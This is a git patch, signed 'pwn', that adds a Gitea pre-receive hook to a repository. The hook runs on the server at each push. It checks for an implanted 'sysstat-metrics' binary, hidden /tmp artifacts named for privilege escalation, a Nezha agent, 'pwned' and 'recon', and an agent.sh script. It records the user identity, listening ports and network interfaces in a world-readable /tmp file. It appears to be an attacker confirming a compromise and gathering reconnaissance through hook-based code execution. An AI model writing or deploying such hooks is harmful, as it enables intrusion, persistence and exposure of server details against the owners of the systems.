From 0b6300069eb4a66182c0af27f2d906adac565511 Mon Sep 17 00:00:00 2001 From: pwn
Date: Sat, 29 Aug 2026 20:14:42 +0700 Subject: [PATCH] pwn --- .gitea/hooks/pre-receive | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 .gitea/hooks/pre-receive diff --git a/.gitea/hooks/pre-receive b/.gitea/hooks/pre-receive new file mode 100644 index 0000000..5af32c1 --- /dev/null +++ b/.gitea/hooks/pre-receive @@ -0,0 +1,19 @@ +#!/bin/bash +{ +echo "=== verify $(date) ===" +echo "--- pgrep ---" +pgrep -af sysstat-metrics +echo "--- /usr/bin/sysstat-metrics ---" +ls -la /usr/bin/sysstat-metrics /usr/bin/config.yml 2>&1 +echo "--- /tmp files ---" +ls -la /tmp/.lpe* /tmp/.nezha* /tmp/.pwned* /tmp/.recon* 2>&1 +echo "--- agent.sh exists? ---" +ls -la /tmp/agent.sh 2>&1 +echo "--- id ---" +id +echo "--- net ---" +ss -tlnp 2>&1 | head -10 +echo "--- ip ---" +ip a 2>&1 | head -10 +} > /tmp/.verify_$$ 2>&1 +chmod 777 /tmp/.verify_*